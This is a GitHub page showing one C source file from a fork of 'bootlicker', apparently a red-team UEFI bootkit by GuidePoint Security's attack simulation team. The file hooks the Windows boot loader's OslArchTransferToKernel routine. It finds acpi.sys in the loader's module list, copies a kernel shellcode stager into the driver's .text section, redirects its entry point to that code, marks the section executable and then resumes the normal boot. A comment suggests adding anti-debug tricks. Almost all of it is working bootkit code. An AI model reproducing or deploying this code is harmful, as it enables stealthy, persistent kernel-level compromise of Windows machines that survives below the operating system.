forked from realoriginal/bootlicker
-
Notifications
You must be signed in to change notification settings - Fork 0
/
OslArchTransferToKernel.c
116 lines (98 loc) · 3.37 KB
/
OslArchTransferToKernel.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
/*!
*
* BOOTLICKER
*
* GuidePoint Security LLC
*
* Threat and Attack Simulation Team
*
!*/
#include "Common.h"
typedef struct
{
ULONG OsMajorVersion;
ULONG OsMinorVersion;
ULONG Length;
ULONG Reserved;
LIST_ENTRY LoadOrderListHead;
LIST_ENTRY MEmoryDescriptorListHead;
LIST_ENTRY BootDriverListHead;
} PARAMETER_BLOCK, *PPARAMETER_BLOCK ;
/*!
*
* Purpose:
*
* Inserts a kernel shellcode stager into ACPI.SYS
* .rsrc section, and directs execution to it.
*
* Maybe do some anti-debug here? You have control
* over the entire boot process. Get creative.
*
!*/
D_SEC( B ) VOID EFIAPI OslArchTransferToKernelHook( _In_ PVOID LoaderBlock, _In_ PVOID Entry )
{
SIZE_T Len = 0;
PEFTBL Eft = NULL;
PLIST_ENTRY Hdr = NULL;
PLIST_ENTRY Ent = NULL;
PPARAMETER_BLOCK Blk = NULL;
PIMAGE_DOS_HEADER Ntd = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nth = NULL;
PIMAGE_SECTION_HEADER Sec = NULL;
PLDR_DATA_TABLE_ENTRY Ldr = NULL;
/* Get EfiTable address */
Eft = C_PTR( G_PTR( EfTbl ) );
Blk = C_PTR( LoaderBlock );
/* Initialize list values */
Hdr = & Blk->LoadOrderListHead;
Ent = Hdr->Flink;
/* Enumerate the list to completion */
while ( C_PTR( Ent ) != C_PTR( Hdr ) ) {
/* Get the LDR_DATA_TABLE_ENTRY */
Ldr = CONTAINING_RECORD( Ent, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks );
/* Is this acpi.sys? */
if ( HashString( Ldr->BaseDllName.Buffer, Ldr->BaseDllName.Length ) == 0x5dc8930f ) {
Dos = C_PTR( Ldr->DllBase );
Nth = C_PTR( U_PTR( Dos ) + Dos->e_lfanew );
Sec = IMAGE_FIRST_SECTION( Nth );
/* Enumerate all the PE Sections */
for ( INT Idx = 0 ; Idx < Nth->FileHeader.NumberOfSections ; ++Idx ) {
/* Is this a .text section? */
if ( HashString( & Sec[ Idx ].Name, 0 ) == 0x0b6dca4d ) {
/* Locate the ntoskrnl image base */
Ntd = C_PTR( U_PTR( U_PTR( Entry ) &~ ( 0x1000 - 1 ) ) );
while ( Ntd->e_magic != IMAGE_DOS_SIGNATURE ) {
/* Decrement by a page! */
Ntd = C_PTR( U_PTR( Ntd ) - 0x1000 );
};
/* Store information for DrvMain to retrieve */
Eft->KernelBuf = C_PTR( G_PTR( EfiMain ) );
Eft->KernelLen = U_PTR( ( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( EfiMain ) ) );
Eft->KernelBase = C_PTR( Ntd );
Eft->TgtDrvImgSect = C_PTR( & Sec[ Idx ] );
Eft->TgtDrvImgBase = C_PTR( Ldr->DllBase );
Eft->TgtDrvLdrEntry = C_PTR( Ldr );
Eft->TgtDrvAddressOfEntrypoint = Nth->OptionalHeader.AddressOfEntryPoint;
/* Find the total length of the buffer */
Len = C_PTR( U_PTR( U_PTR( GetIp() ) + 11 ) - U_PTR( G_PTR( DrvMain ) ) );
/* Insert DrvMainStart */
__builtin_memcpy( C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress ), C_PTR( G_PTR( DrvMain ) ), Len );
/* Insert a hook! */
Ldr->EntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress );
Nth->OptionalHeader.AddressOfEntryPoint = C_PTR( U_PTR( Dos ) + Sec[ Idx ].VirtualAddress );
/* Set -x permission in section */
Sec[ Idx ].Characteristics |= IMAGE_SCN_MEM_EXECUTE;
/* Break! */
break;
};
};
/* Break! */
break;
};
/* Next entry */
Ent = C_PTR( Ent->Flink );
};
/* Execute original OslArchTransferToKernel stub and callgate */
( ( __typeof__( OslArchTransferToKernelHook ) * ) Eft->OslArchTransferToKernelGate )( LoaderBlock, Entry );
};